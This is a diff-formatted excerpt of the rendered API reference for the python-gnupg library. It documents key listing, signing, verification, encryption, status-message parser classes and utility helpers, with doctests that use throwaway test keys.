+>>> assert print1 in pubkeys.fingerprints
+>>> assert print2 in pubkeys.fingerprints
+
+
+
+ +
+
+list_packets(raw_data)
+

List the packet contents of a file.

+
+ +
+
+list_sigs(*keyids)
+

Get the signatures for each of the keyids.

+
>>> import gnupg
+>>> gpg = gnupg.GPG(homedir="doctests")
+>>> key_input = gpg.gen_key_input()
+>>> key = gpg.gen_key(key_input)
+>>> assert key.fingerprint
+
+
+ +++ + + + + + +
Return type:dict
Returns:A dictionary whose keys are the original keyid parameters, +and whose values are lists of signatures.
+
+ +
+
+recv_keys(*keyids, **kwargs)
+

Import keys from a keyserver.

+
>>> gpg = gnupg.GPG(homedir="doctests")
+>>> key = gpg.recv_keys('hkp://pgp.mit.edu', '3FF0DB166A7476EA')
+>>> assert key
+
+
+ +++ + + + +
Parameters:
    +
  • keyids (str) – Each keyids argument should be a string +containing a keyid to request.
  • +
  • keyserver (str) – The keyserver to request the keyids from; +defaults to gnupg.GPG.keyserver.
  • +
+
+
+ +
+
+sign(data, **kwargs)
+

Create a signature for a message string or file.

+

Note that this method is not for signing other keys. (In GnuPG’s +terms, what we all usually call ‘keysigning’ is actually termed +‘certification’...) Even though they are cryptographically the same +operation, GnuPG differentiates between them, presumedly because these +operations are also the same as the decryption operation. If the +key_usage``s ``C (certification), S (sign), and E +(encrypt), were all the same key, the key would “wear down” through +frequent signing usage – since signing data is usually done often – +meaning that the secret portion of the keypair, also used for +decryption in this scenario, would have a statistically higher +probability of an adversary obtaining an oracle for it (or for a +portion of the rounds in the cipher algorithm, depending on the family +of cryptanalytic attack used).

+

In simpler terms: this function isn’t for signing your friends’ keys, +it’s for something like signing an email.

+ +++ + + + +
Parameters:
    +
  • data (str or file) – A string or file stream to sign.
  • +
  • default_key (str) – The key to sign with.
  • +
  • passphrase (str) – The passphrase to pipe to stdin.
  • +
  • clearsign (bool) – If True, create a cleartext signature.
  • +
  • detach (bool) – If True, create a detached signature.
  • +
  • binary (bool) – If True, do not ascii armour the output.
  • +
  • digest_algo (str) – The hash digest to use. Again, to see which +hashes your GnuPG is capable of using, do: +$ gpg –with-colons –list-config digestname. +The default, if unspecified, is 'SHA512'.
  • +
+
+
+ +
+
+verify(data)
+

Verify the signature on the contents of the string data.

+
>>> gpg = GPG(homedir="doctests")
+>>> input = gpg.gen_key_input(Passphrase='foo')
+>>> key = gpg.gen_key(input)
+>>> assert key
+>>> sig = gpg.sign('hello',keyid=key.fingerprint,passphrase='bar')
+>>> assert not sig
+>>> sig = gpg.sign('hello',keyid=key.fingerprint,passphrase='foo')
+>>> assert sig
+>>> verify = gpg.verify(sig.data)
+>>> assert verify
+
+
+
+ +
+
+verify_file(file, sig_file=None)
+

Verify the signature on the contents of a file or file-like +object. Can handle embedded signatures as well as detached +signatures. If using detached signatures, the file containing the +detached signature should be specified as the sig_file.

+ +++ + + + +
Parameters:
    +
  • file (file) – A file descriptor object. Its type will be checked +with _util._is_file().
  • +
  • sig_file (str) – A file containing the GPG signature data for +file. If given, file is verified via this detached +signature.
  • +
+
+
+ +
+ +
+
+

meta module

+

Contains the meta and base classes which gnupg.GPG inherits +from. Mostly, you shouldn’t ever need to touch anything in here, unless you’re +doing some serious hacking.

+

Meta and base classes for hiding internal functions, and controlling +attribute creation and handling.

+
+
+class GPGMeta[source]
+

Bases: type

+

Metaclass for changing the :meth:GPG.__init__ initialiser.

+

Detects running gpg-agent processes and the presence of a pinentry +program, and disables pinentry so that python-gnupg can write the +passphrase to the controlled GnuPG process without killing the agent.

+ +++ + + + + +
Attr _agent_proc:
 If a gpg-agent process is currently running +for the effective userid, then _agent_proc will be +set to a psutil.Process for that process.
+
+
+static __new__(name, bases, attrs)[source]
+

Construct the initialiser for GPG

+
+ +
+
+classmethod _find_agent()[source]
+

Discover if a gpg-agent process for the current euid is running.

+

If there is a matching gpg-agent process, set a psutil.Process +instance containing the gpg-agent process’ information to +cls._agent_proc.

+ +++ + + + +
Returns:True if there exists a gpg-agent process running under the +same effective user ID as that of this program. Otherwise, +returns None.
+
+ +
+ +
+
+class GPGBase(binary=None, home=None, keyring=None, secring=None, use_agent=False, default_preference_list=None, verbose=False, options=None)[source]
+

Bases: object

+

Base class for storing properties and controlling process initialisation.

+ +++ + + + + + + + +
Const _result_map:
 A dict containing classes from +_parsers, used for parsing results +obtained from GnuPG commands.
Const _decode_errors:
 How to handle encoding errors.
+

Create a GPGBase.

+

This class is used to set up properties for controlling the behaviour +of configuring various options for GnuPG, such as setting GnuPG’s +homedir , and the paths to its binary and keyring .

+ +++ + + + + + +
Const binary:

(str) The full path to the GnuPG binary.

+
Variables:
    +
  • homedir – (InheritableProperty) The full +path to the current setting for the GnuPG +--homedir.
  • +
  • _generated_keys – (InheritableProperty) +Controls setting the directory for storing any +keys which are generated with +gen_key().
  • +
  • keyring (str) – The filename in homedir to use as the keyring +file for public keys.
  • +
  • secring (str) – The filename in homedir to use as the keyring +file for secret keys.
  • +
+
+
+
+__init__(binary=None, home=None, keyring=None, secring=None, use_agent=False, default_preference_list=None, verbose=False, options=None)[source]
+

Create a GPGBase.

+

This class is used to set up properties for controlling the behaviour +of configuring various options for GnuPG, such as setting GnuPG’s +homedir , and the paths to its binary and keyring .

+ +++ + + + + + +
Const binary:

(str) The full path to the GnuPG binary.

+
Variables:
    +
  • homedir – (InheritableProperty) The full +path to the current setting for the GnuPG +--homedir.
  • +
  • _generated_keys – (InheritableProperty) +Controls setting the directory for storing any +keys which are generated with +gen_key().
  • +
  • keyring (str) – The filename in homedir to use as the keyring +file for public keys.
  • +
  • secring (str) – The filename in homedir to use as the keyring +file for secret keys.
  • +
+
+
+ +
+
+__remove_path__(prog=None, at_exit=True)[source]
+

Remove the directories containing a program from the system’s +$PATH. If GPGBase.binary is in a directory being removed, it +is linked to :file:’./gpg‘ in the current directory.

+ +++ + + + +
Parameters:
    +
  • prog (str) – The program to remove from $PATH.
  • +
  • at_exit (bool) – Add the program back into the $PATH when the +Python interpreter exits, and delete any symlinks +to GPGBase.binary which were created.
  • +
+
+
+ +
+
+default_preference_list[source]
+

Get the default preference list.

+
+ +
+
+keyserver[source]
+

Get the current keyserver setting.

+
+ +
+
+_homedir_getter()[source]
+

Get the directory currently being used as GnuPG’s homedir.

+

If unspecified, use ~/.config/python-gnupg/

+ +++ + + + + + +
Return type:str
Returns:The absolute path to the current GnuPG homedir.
+
+ +
+
+_homedir_setter(directory)[source]
+

Set the directory to use as GnuPG’s homedir.

+

If unspecified, use $HOME/.config/python-gnupg. If specified, ensure +that the directory does not contain various shell escape +characters. If directory is not found, it will be automatically +created. Lastly, the direcory will be checked that the EUID has +read and write permissions for it.

+ +++ + + + + + +
Parameters:directory (str) – A relative or absolute path to the directory to +use for storing/accessing GnuPG’s files, including +keyrings and the trustdb.
Raises:RuntimeError if unable to find a suitable +directory to use.
+
+ +
+
+homedir
+
+ +
+
+_generated_keys_getter()[source]
+

Get the homedir subdirectory for storing generated keys.

+ +++ + + + + + +
Return type:str
Returns:The absolute path to the current GnuPG homedir.
+
+ +
+
+_generated_keys_setter(directory)[source]
+

Set the directory for storing generated keys.

+

If unspecified, use +homedir()/generated-keys. If specified, +ensure that the directory does not contain various shell escape +characters. If directory isn’t found, it will be automatically +created. Lastly, the directory will be checked to ensure that the +current EUID has read and write permissions for it.

+ +++ + + + + + +
Parameters:directory (str) – A relative or absolute path to the directory to +use for storing/accessing GnuPG’s files, including keyrings and +the trustdb.
Raises:RuntimeError if unable to find a suitable +directory to use.
+
+ +
+
+_generated_keys
+
+ +
+
+_make_args(args, passphrase=False)[source]
+

Make a list of command line elements for GPG.

+

The value of args will be appended only if it passes the checks in +gnupg._parsers._sanitise(). The passphrase argument needs to +be True if a passphrase will be sent to GnuPG, else False.

+ +++ + + + +
Parameters:
    +
  • args (list) – A list of strings of options and flags to pass to +GPG.binary. This is input safe, meaning that +these values go through strict checks (see +parsers._sanitise_list) before being passed to to +the input file descriptor for the GnuPG process. +Each string should be given exactly as it would be on +the commandline interface to GnuPG, +e.g. [“–cipher-algo AES256”, “–default-key +A3ADB67A2CDB8B35”].
  • +
  • passphrase (bool) – If True, the passphrase will be sent to the +stdin file descriptor for the attached GnuPG +process.
  • +
+
+
+ +
+
+_open_subprocess(args=None, passphrase=False)[source]
+

Open a pipe to a GPG subprocess and return the file objects for +communicating with it.

+ +++ + + + +
Parameters:
    +
  • args (list) – A list of strings of options and flags to pass to +GPG.binary. This is input safe, meaning that +these values go through strict checks (see +parsers._sanitise_list) before being passed to to +the input file descriptor for the GnuPG process. +Each string should be given exactly as it would be on +the commandline interface to GnuPG, +e.g. [“–cipher-algo AES256”, “–default-key +A3ADB67A2CDB8B35”].
  • +
  • passphrase (bool) – If True, the passphrase will be sent to the +stdin file descriptor for the attached GnuPG +process.
  • +
+
+
+ +
+
+_read_response(stream, result)[source]
+

Reads all the stderr output from GPG, taking notice only of lines +that begin with the magic [GNUPG:] prefix.

+

Calls methods on the response object for each valid token found, with +the arg being the remainder of the status line.

+ +++ + + + +
Parameters:
    +
  • stream – A byte-stream, file handle, or a +subprocess.PIPE for parsing the status codes +from the GnuPG process.
  • +
  • result – The result parser class from _parsers ― +the handle_status() method of that class will be +called in order to parse the output of stream.
  • +
+
+
+ +
+
+_read_data(stream, result)[source]
+

Incrementally read from stream and store read data.

+

All data gathered from calling stream.read() will be concatenated +and stored as result.data.

+ +++ + + + +
Parameters:
    +
  • stream – An open file-like object to read() from.
  • +
  • result – An instance of one of the result parsing classes from _result_map.
  • +
+
+
+ +
+
+_collect_output(process, result, writer=None, stdin=None)[source]
+

Drain the subprocesses output streams, writing the collected output +to the result. If a writer thread (writing to the subprocess) is given, +make sure it’s joined before returning. If a stdin stream is given, +close it before returning.

+
+ +
+
+_handle_io(args, file, result, passphrase=False, binary=False)[source]
+

Handle a call to GPG - pass input data, collect output data.

+
+ +
+
+_recv_keys(keyids, keyserver=None)[source]
+

Import keys from a keyserver.

+ +++ + + + +
Parameters:
    +
  • keyids (str) – A space-delimited string containing the keyids to +request.
  • +
  • keyserver (str) – The keyserver to request the keyids from; +defaults to gnupg.GPG.keyserver.
  • +
+
+
+ +
+
+_sign_file(file, default_key=None, passphrase=None, clearsign=True, detach=False, binary=False, digest_algo='SHA512')[source]
+

Create a signature for a file.

+ +++ + + + +
Parameters:
    +
  • file – The file stream (i.e. it’s already been open()’d) to sign.
  • +
  • default_key (str) – The key to sign with.
  • +
  • passphrase (str) – The passphrase to pipe to stdin.
  • +
  • clearsign (bool) – If True, create a cleartext signature.
  • +
  • detach (bool) – If True, create a detached signature.
  • +
  • binary (bool) – If True, do not ascii armour the output.
  • +
  • digest_algo (str) – The hash digest to use. Again, to see which +hashes your GnuPG is capable of using, do: +$ gpg --with-colons --list-config +digestname. The default, if unspecified, is +'SHA512'.
  • +
+
+
+ +
+
+_encrypt(data, recipients, default_key=None, passphrase=None, armor=True, encrypt=True, symmetric=False, always_trust=True, output=None, cipher_algo='AES256', digest_algo='SHA512', compress_algo='ZLIB')[source]
+

Encrypt the message read from the file-like object data.

+ +++ + + + +
Parameters:
    +
  • data (str) – The file or bytestream to encrypt.
  • +
  • recipients (str) – The recipients to encrypt to. Recipients must +be specified keyID/fingerprint.
  • +
+
+
+

Warning

+

Care should be taken in Python2 to make sure that the +given fingerprints for recipients are in fact strings +and not unicode objects.

+
+ +++ + + + +
Parameters:
    +
  • default_key (str) – The keyID/fingerprint of the key to use for +signing. If given, data will be encrypted +and signed.
  • +
  • passphrase (str) – If given, and default_key is also given, +use this passphrase to unlock the secret +portion of the default_key to sign the +encrypted data. Otherwise, if +default_key is not given, but symmetric +is True, then use this passphrase as the +passphrase for symmetric encryption. Signing +and symmetric encryption should not be +combined when sending the data to other +recipients, else the passphrase to the secret +key would be shared with them.
  • +
  • armor (bool) – If True, ascii armor the output; otherwise, the +output will be in binary format. (Default: True)
  • +
  • encrypt (bool) – If True, encrypt the data using the +recipients public keys. (Default: True)
  • +
  • symmetric (bool) – If True, encrypt the data to recipients +using a symmetric key. See the passphrase +parameter. Symmetric encryption and public key +encryption can be used simultaneously, and will +result in a ciphertext which is decryptable +with either the symmetric passphrase or one +of the corresponding private keys.
  • +
  • always_trust (bool) – If True, ignore trust warnings on +recipients keys. If False, display trust +warnings. (default: True)
  • +
  • output (str) – The output file to write to. If not specified, the +encrypted output is returned, and thus should be +stored as an object in Python. For example:
  • +
+
+
>>> import shutil
+>>> import gnupg
+>>> if os.path.exists("doctests"):
+...     shutil.rmtree("doctests")
+>>> gpg = gnupg.GPG(homedir="doctests")
+>>> key_settings = gpg.gen_key_input(key_type='RSA',
+...                                  key_length=1024,
+...                                  key_usage='ESCA',
+...                                  passphrase='foo')
+>>> key = gpg.gen_key(key_settings)
+>>> message = "The crow flies at midnight."
+>>> encrypted = str(gpg.encrypt(message, key.printprint))
+>>> assert encrypted != message
+>>> assert not encrypted.isspace()
+>>> decrypted = str(gpg.decrypt(encrypted))
+>>> assert not decrypted.isspace()
+>>> decrypted
+'The crow flies at midnight.'
+
+
+ +++ + + + +
Parameters:
    +
  • cipher_algo (str) – The cipher algorithm to use. To see available +algorithms with your version of GnuPG, do: +$ gpg –with-colons –list-config +ciphername. The default cipher_algo, if +unspecified, is 'AES256'.
  • +
  • digest_algo (str) – The hash digest to use. Again, to see which +hashes your GnuPG is capable of using, do: +$ gpg –with-colons –list-config +digestname. The default, if unspecified, is +'SHA512'.
  • +
  • compress_algo (str) – The compression algorithm to use. Can be one +of 'ZLIB', 'BZIP2', 'ZIP', or +'Uncompressed'.
  • +
+
+
+ +
+ +
+
+

parsers module

+

These are classes for parsing both user inputs and status file descriptor +flags from GnuPG’s output. The latter are used in order to determine what our +GnuPG process is doing and retrieve information about its operations, which +are stored in corresponding classes in +_result_map. Some status flags aren’t handled yet +– information on all of the flags (well, at least the documented ones…) can +be found in the docs/DETAILS file in GnuPG’s source, which has been +included here as well.

+

Classes for parsing GnuPG status messages and sanitising commandline +options.

+
+
+exception ProtectedOption[source]
+

Bases: exceptions.Exception

+

Raised when the option passed to GPG is disallowed.

+
+ +
+
+exception UsageError[source]
+

Bases: exceptions.Exception

+

Raised when incorrect usage of the API occurs..

+
+ +
+
+_check_keyserver(location)[source]
+

Check that a given keyserver is a known protocol and does not contain +shell escape characters.

+ +++ + + + + + + + +
Parameters:location (str) – A string containing the default keyserver. This +should contain the desired keyserver protocol which +is supported by the keyserver, for example, the +default is 'hkp://wwwkeys .pgp.net'.
Return type:str or None
Returns:A string specifying the protocol and keyserver hostname, if the +checks passed. If not, returns None.
+
+ +
+
+_check_preferences(prefs, pref_type=None)[source]
+

Check cipher, digest, and compression preference settings.

+

MD5 is not allowed. This is not 1994. SHA1 is allowed grudgingly.

+
+ +
+
+_fix_unsafe(shell_input)[source]
+

Find characters used to escape from a string into a shell, and wrap them in +quotes if they exist. Regex pilfered from Python3 shlex module.

+ +++ + + + +
Parameters:shell_input (str) – The input intended for the GnuPG process.
+
+ +
+
+_hyphenate(input, add_prefix=False)[source]
+

Change underscores to hyphens so that object attributes can be easily +tranlated to GPG option names.

+ +++ + + + + + + + +
Parameters:
    +
  • input (str) – The attribute to hyphenate.
  • +
  • add_prefix (bool) – If True, add leading hyphens to the input.
  • +
+
Return type:

str

+
Returns:

The input with underscores changed to hyphens.

+
+
+ +
+
+_is_allowed(input)[source]
+

Check that an option or argument given to GPG is in the set of allowed +options, the latter being a strict subset of the set of all options known +to GPG.

+ +++ + + + + + + + + + + + +
Parameters:

input (str) – An input meant to be parsed as an option or flag to the +GnuPG process. Should be formatted the same as an option +or flag to the commandline gpg, i.e. “–encrypt-files”.

+
Variables:
    +
  • gnupg_options (frozenset) – All known GPG options and flags.
  • +
  • allowed (frozenset) – All allowed GPG options and flags, e.g. all GPG +options and flags which we are willing to +acknowledge and parse. If we want to support a +new option, it will need to have its own parsing +class and its name will need to be added to this +set.
  • +
+
Raises:

UsageError if input is not a subset of the hard-coded +set of all GnuPG options in _get_all_gnupg_options().

+

ProtectedOption if input is not in the set of allowed +options.

+
Return type:

str

+
Returns:

The original input parameter, unmodified and unsanitized, if +no errors occur.

+
+
+ +
+
+_is_hex(string)[source]
+

Check that a string is hexidecimal, with alphabetic characters +capitalized and without whitespace.

+ +++ + + + +
Parameters:string (str) – The string to check.
+
+ +
+
+_is_string(thing)[source]
+

Python character arrays are a mess.

+

If Python2, check if thing is an unicode or a str. +If Python3, check if thing is a str.

+ +++ + + + + + +
Parameters:thing – The thing to check.
Returns:True if thing is a string according to whichever version +of Python we’re running in.
+
+ +
+
+_sanitise(*args)[source]
+

Take an arg or the key portion of a kwarg and check that it is in the +set of allowed GPG options and flags, and that it has the correct +type. Then, attempt to escape any unsafe characters. If an option is not +allowed, drop it with a logged warning. Returns a dictionary of all +sanitised, allowed options.

+

Each new option that we support that is not a boolean, but instead has +some additional inputs following it, i.e. “–encrypt-file foo.txt”, will +need some basic safety checks added here.

+

GnuPG has three-hundred and eighteen commandline flags. Also, not all +implementations of OpenPGP parse PGP packets and headers in the same way, +so there is added potential there for messing with calls to GPG.

+

For information on the PGP message format specification, see +RFC 1991.

+

If you’re asking, “Is this really necessary?”: No, not really – we could +just follow the security precautions recommended by this xkcd.

+
+
+ +++ + + + + + + + +
Parameters:args (str) – (optional) The boolean arguments which will be passed to +the GnuPG process.
Return type:str
Returns:sanitised
+
+ +
+
+_sanitise_list(arg_list)[source]
+

A generator for iterating through a list of gpg options and sanitising +them.

+ +++ + + + + + + + +
Parameters:arg_list (list) – A list of options and flags for GnuPG.
Return type:generator
Returns:A generator whose next() method returns each of the items in +arg_list after calling _sanitise() with that item as a +parameter.
+
+ +
+
+_get_options_group(group=None)[source]
+

Get a specific group of options which are allowed.

+
+ +
+
+_get_all_gnupg_options()[source]
+

Get all GnuPG options and flags.

+

This is hardcoded within a local scope to reduce the chance of a tampered +GnuPG binary reporting falsified option sets, i.e. because certain options +(namedly the --no-options option, which prevents the usage of gpg.conf +files) are necessary and statically specified in +gnupg._meta.GPGBase._make_args(), if the inputs into Python are +already controlled, and we were to summon the GnuPG binary to ask it for +its options, it would be possible to receive a falsified options set +missing the --no-options option in response. This seems unlikely, and +the method is stupid and ugly, but at least we’ll never have to debug +whether or not an option actually disappeared in a different GnuPG +version, or some funny business is happening.

+

These are the options as of GnuPG 1.4.12; the current stable branch of the +2.1.x tree contains a few more – if you need them you’ll have to add them +in here.

+ +++ + + + + + + + +
Variables:gnupg_options – All known GPG options and flags.
Return type:frozenset
Returns:gnupg_options
+
+ +
+
+nodata(status_code)[source]
+

Translate NODATA status codes from GnuPG to messages.

+
+ +
+
+progress(status_code)[source]
+

Translate PROGRESS status codes from GnuPG to messages.

+
+ +
+
+class GenKey(gpg)[source]
+

Bases: object

+

Handle status messages for key generation.

+

Calling the __str__() method of this class will return the generated +key’s fingerprint, or a status string explaining the results.

+
+
+type = None
+

‘P’:= primary, ‘S’:= subkey, ‘B’:= both

+
+ +
+
+keyring = None
+

This will store the key’s public keyring filename, if +gen_key_input() was called with +separate_keyring=True.

+
+ +
+
+secring = None
+

This will store the key’s secret keyring filename, if : +gen_key_input() was called with +separate_keyring=True.

+
+ +
+
+_handle_status(key, value)[source]
+

Parse a status code from the attached GnuPG process.

+ +++ + + + +
Raises:ValueError if the status message is unknown.
+
+ +
+ +
+
+class DeleteResult(gpg)[source]
+

Bases: object

+

Handle status messages for –delete-keys and –delete-secret-keys

+
+
+problem_reason = {'1': 'No such key', '3': 'Ambigious specification', '2': 'Must delete secret key first'}
+
+ +
+
+_handle_status(key, value)[source]
+

Parse a status code from the attached GnuPG process.

+ +++ + + + +
Raises:ValueError if the status message is unknown.
+
+ +
+ +
+
+class Sign(gpg)[source]
+

Bases: object

+

Parse GnuPG status messages for signing operations.

+ +++ + + + +
Parameters:gpg – An instance of gnupg.GPG.
+
+
+sig_type = None
+

The type of signature created.

+
+ +
+
+sig_algo = None
+

The algorithm used to create the signature.

+
+ +
+
+sig_hash_also = None
+

The hash algorithm used to create the signature.

+
+ +
+
+fingerprint = None
+

The fingerprint of the signing keyid.

+
+ +
+
+timestamp = None
+

The timestamp on the signature.

+
+ +
+
+what = None
+

xxx fill me in

+
+ +
+
+_handle_status(key, value)[source]
+

Parse a status code from the attached GnuPG process.

+ +++ + + + +
Raises:ValueError if the status message is unknown.
+
+ +
+ +
+
+class ListKeys(gpg)[source]
+

Bases: list

+

Handle status messages for –list-keys.

+

Handles pub and uid (relating the latter to the former). Don’t care about +the following attributes/status messages (from doc/DETAILS):

+
+
crt = X.509 certificate
+
crs = X.509 certificate and private key available
+
ssb = secret subkey (secondary key)
+
uat = user attribute (same as user id except for field 10).
+
sig = signature
+
rev = revocation signature
+
pkd = public key data (special field format, see below)
+
grp = reserved for gpgsm
+
rvk = revocation key
+
+
+
+key(args)[source]
+
+ +
+
+pub(args)
+
+ +
+
+sec(args)
+
+ +
+
+fpr(args)[source]
+
+ +
+
+uid(args)[source]
+
+ +
+
+sub(args)[source]
+
+ +
+
+_handle_status(key, value)[source]
+
+ +
+ +
+
+class ImportResult(gpg)[source]
+

Bases: object

+

Parse GnuPG status messages for key import operations.

+ +++ + + + +
Parameters:gpg (gnupg.GPG) – An instance of gnupg.GPG.
+
+
+_ok_reason = {'17': 'Contains private key', '16': 'Contains private key', '1': 'Entirely new key', '0': 'Not actually changed', '2': 'New user IDs', '4': 'New signatures', '8': 'New subkeys'}
+
+ +
+
+_problem_reason = {'1': 'Invalid Certificate', '0': 'No specific reason given', '3': 'Certificate Chain too long', '2': 'Issuer Certificate missing', '4': 'Error storing certificate'}
+
+ +
+
+_fields = ['count', 'no_user_id', 'imported', 'imported_rsa', 'unchanged', 'n_uids', 'n_subk', 'n_sigs', 'n_revoc', 'sec_read', 'sec_imported', 'sec_dups', 'not_imported']
+
+ +
+
+_counts = OrderedDict([('count', 0), ('no_user_id', 0), ('imported', 0), ('imported_rsa', 0), ('unchanged', 0), ('n_uids', 0), ('n_subk', 0), ('n_sigs', 0), ('n_revoc', 0), ('sec_read', 0), ('sec_imported', 0), ('sec_dups', 0), ('not_imported', 0)])
+
+ +
+
+fingerprints = []
+

A list of strings containing the fingerprints of the GnuPG keyIDs +imported.

+
+ +
+
+results = []
+

A list containing dictionaries with information gathered on keys +imported.

+
+ +
+
+_handle_status(key, value)[source]
+

Parse a status code from the attached GnuPG process.

+ +++ + + + +
Raises:ValueError if the status message is unknown.
+
+ +
+
+summary()[source]
+
+ +
+
+x = 12
+
+ +
+ +
+
+class Verify(gpg)[source]
+

Bases: object

+

Parser for status messages from GnuPG for certifications and signature +verifications.

+

People often mix these up, or think that they are the same thing. While it +is true that certifications and signatures are the same cryptographic +operation – and also true that both are the same as the decryption +operation – a distinction is made for important reasons.

+
+
A certification:
+
    +
  • is made on a key,
  • +
  • can help to validate or invalidate the key owner’s identity,
  • +
  • can assign trust levels to the key (or to uids and/or subkeys that +the key contains),
  • +
  • and can be used in absense of in-person fingerprint checking to try +to build a path (through keys whose fingerprints have been checked) +to the key, so that the identity of the key’s owner can be more +reliable without having to actually physically meet in person.
  • +
+
+
A signature:
+
    +
  • is created for a file or other piece of data,
  • +
  • can help to prove that the data hasn’t been altered,
  • +
  • and can help to prove that the data was sent by the person(s) in +possession of the private key that created the signature, and for +parsing portions of status messages from decryption operations.
  • +
+
+
+

There are probably other things unique to each that have been +scatterbrainedly omitted due to the programmer sitting still and staring +at GnuPG debugging logs for too long without snacks, but that is the gist +of it.

+

Create a parser for verification and certification commands.

+ +++ + + + +
Parameters:gpg – An instance of gnupg.GPG.
+
+
+TRUST_UNDEFINED = 0
+
+ +
+
+TRUST_NEVER = 1
+
+ +
+
+TRUST_MARGINAL = 2
+
+ +
+
+TRUST_FULLY = 3
+
+ +
+
+TRUST_ULTIMATE = 4
+
+ +
+
+TRUST_LEVELS = {'TRUST_UNDEFINED': 0, 'TRUST_FULLY': 3, 'TRUST_NEVER': 1, 'TRUST_MARGINAL': 2, 'TRUST_ULTIMATE': 4}
+
+ +
+
+valid = None
+

True if the signature is valid, False otherwise.

+
+ +
+
+status = None
+

A string describing the status of the signature verification. +Can be one of signature bad, signature good, +signature valid, signature error, decryption failed, +no public key, key exp, or key rev.

+
+ +
+
+fingerprint = None
+

The fingerprint of the signing keyid.

+
+ +
+
+pubkey_fingerprint = None
+

The fingerprint of the corresponding public key, which may be +different if the signature was created with a subkey.

+
+ +
+
+key_id = None
+

The keyid of the signing key.

+
+ +
+
+signature_id = None
+

The id of the signature itself.

+
+ +
+
+creation_date = None
+

The creation date of the signing key.

+
+ +
+
+timestamp = None
+

The timestamp of the purported signature, if we are unable to parse +and/or validate it.

+
+ +
+
+sig_timestamp = None
+

The timestamp for when the valid signature was created.

+
+ +
+
+username = None
+

The userid of the signing key which was used to create the +signature.

+
+ +
+
+expire_timestamp = None
+

When the signing key is due to expire.

+
+ +
+
+trust_level = None
+

An integer 0-4 describing the trust level of the signature.

+
+ +
+
+trust_text = None
+

The string corresponding to the trust_level number.

+
+ +
+
+_handle_status(key, value)[source]
+

Parse a status code from the attached GnuPG process.

+ +++ + + + +
Raises:ValueError if the status message is unknown.
+
+ +
+ +
+
+class Crypt(gpg)[source]
+

Bases: gnupg._parsers.Verify

+

Parser for internal status messages from GnuPG for --encrypt, +--decrypt, and --decrypt-files.

+
+
+data = None
+

A string containing the encrypted or decrypted data.

+
+ +
+
+ok = None
+

True if the decryption/encryption process turned out okay.

+
+ +
+
+status = None
+

A string describing the current processing status, or error, if one +has occurred.

+
+ +
+
+_handle_status(key, value)[source]
+

Parse a status code from the attached GnuPG process.

+ +++ + + + +
Raises:ValueError if the status message is unknown.
+
+ +
+ +
+
+class ListPackets(gpg)[source]
+

Bases: object

+

Handle status messages for –list-packets.

+
+
+status = None
+

A string describing the current processing status, or error, if one +has occurred.

+
+ +
+
+need_passphrase = None
+

True if the passphrase to a public/private keypair is required.

+
+ +
+
+need_passphrase_sym = None
+

True if a passphrase for a symmetric key is required.

+
+ +
+
+userid_hint = None
+

The keyid and uid which this data is encrypted to.

+
+ +
+
+_handle_status(key, value)[source]
+

Parse a status code from the attached GnuPG process.

+ +++ + + + +
Raises:ValueError if the status message is unknown.
+
+ +
+ +
+
+

util module

+

You shouldn’t really need to mess with this module either, it mostly deals +with low-level IO and file handling operations, de-/en- coding issues, and +setting up basic package facilities such as logging.

+

Extra utilities for python-gnupg.

+
+
+find_encodings(enc=None, system=False)[source]
+

Find functions for encoding translations for a specific codec.

+ +++ + + + + + +
Parameters:
    +
  • enc (str) – The codec to find translation functions for. It will be +normalized by converting to lowercase, excluding +everything which is not ascii, and hyphens will be +converted to underscores.
  • +
  • system (bool) – If True, find encodings based on the system’s stdin +encoding, otherwise assume utf-8.
  • +
+
Raises:

:exc:LookupError if the normalized codec, enc, cannot be +found in Python’s encoding translation map.

+
+
+ +
+
+author_info(name, contact=None, public_key=None)[source]
+

Easy object-oriented representation of contributor info.

+ +++ + + + +
Parameters:
    +
  • name (str) – The contributor´s name.
  • +
  • contact (str) – The contributor´s email address or contact +information, if given.
  • +
  • public_key (str) – The contributor´s public keyid, if given.
  • +
+
+
+ +
+
+_copy_data(instream, outstream)[source]
+

Copy data from one stream to another.

+ +++ + + + +
Parameters:
    +
  • instream (io.BytesIO or io.StringIO or file) – A byte stream or open file to read from.
  • +
  • outstream (file) – The file descriptor of a tmpfile to write to.
  • +
+
+
+ +
+
+_create_if_necessary(directory)[source]
+

Create the specified directory, if necessary.

+ +++ + + + + + + + +
Parameters:directory (str) – The directory to use.
Return type:bool
Returns:True if no errors occurred and the directory was created or +existed beforehand, False otherwise.
+
+ +
+
+create_uid_email(username=None, hostname=None)[source]
+

Create an email address suitable for a UID on a GnuPG key.

+ +++ + + + + + + + +
Parameters:
    +
  • username (str) – The username portion of an email address. If None, +defaults to the username of the running Python +process.
  • +
  • hostname (str) – The FQDN portion of an email address. If None, the +hostname is obtained from gethostname(2).
  • +
+
Return type:

str

+
Returns:

A string formatted as <username>@<hostname>.

+
+
+ +
+
+_deprefix(line, prefix, callback=None)[source]
+

Remove the prefix string from the beginning of line, if it exists.

+ +++ + + + + + + + +
Parameters:
    +
  • line (string) – A line, such as one output by GnuPG’s status-fd.
  • +
  • prefix (string) – A substring to remove from the beginning of +line. Case insensitive.
  • +
  • callback (callable) – Function to call if the prefix is found. The signature to +callback will be only one argument, the line without the prefix, i.e. +callback(line).
  • +
+
Return type:

string

+
Returns:

If the prefix was found, the line without the prefix is +returned. Otherwise, the original line is returned.

+
+
+ +
+
+_find_binary(binary=None)[source]
+

Find the absolute path to the GnuPG binary.

+

Also run checks that the binary is not a symlink, and check that +our process real uid has exec permissions.

+ +++ + + + + + + + + + +
Parameters:binary (str) – The path to the GnuPG binary.
Raises:RuntimeError if it appears that GnuPG is not +installed.
Return type:str
Returns:The absolute path to the GnuPG binary to use, if no exceptions +occur.
+
+ +
+
+_has_readwrite(path)[source]
+

Determine if the real uid/gid of the executing user has read and write +permissions for a directory or a file.

+ +++ + + + + + + + +
Parameters:path (str) – The path to the directory or file to check permissions +for.
Return type:bool
Returns:True if real uid/gid has read+write permissions, False otherwise.
+
+ +
+
+_is_file(filename)[source]
+

Check that the size of the thing which is supposed to be a filename has +size greater than zero, without following symbolic links or using +:func:os.path.isfile.

+ +++ + + + + + + + +
Parameters:filename – An object to check.
Return type:bool
Returns:True if filename is file-like, False otherwise.
+
+ +
+
+_is_stream(input)[source]
+

Check that the input is a byte stream.

+ +++ + + + + + + + +
Parameters:input – An object provided for reading from or writing to.
Return type:bool
Returns:True if :param:input is a stream, False if otherwise.
+
+ +
+
+_is_list_or_tuple(instance)[source]
+

Check that instance is a list or tuple.

+ +++ + + + + + + + +
Parameters:instance – The object to type check.
Return type:bool
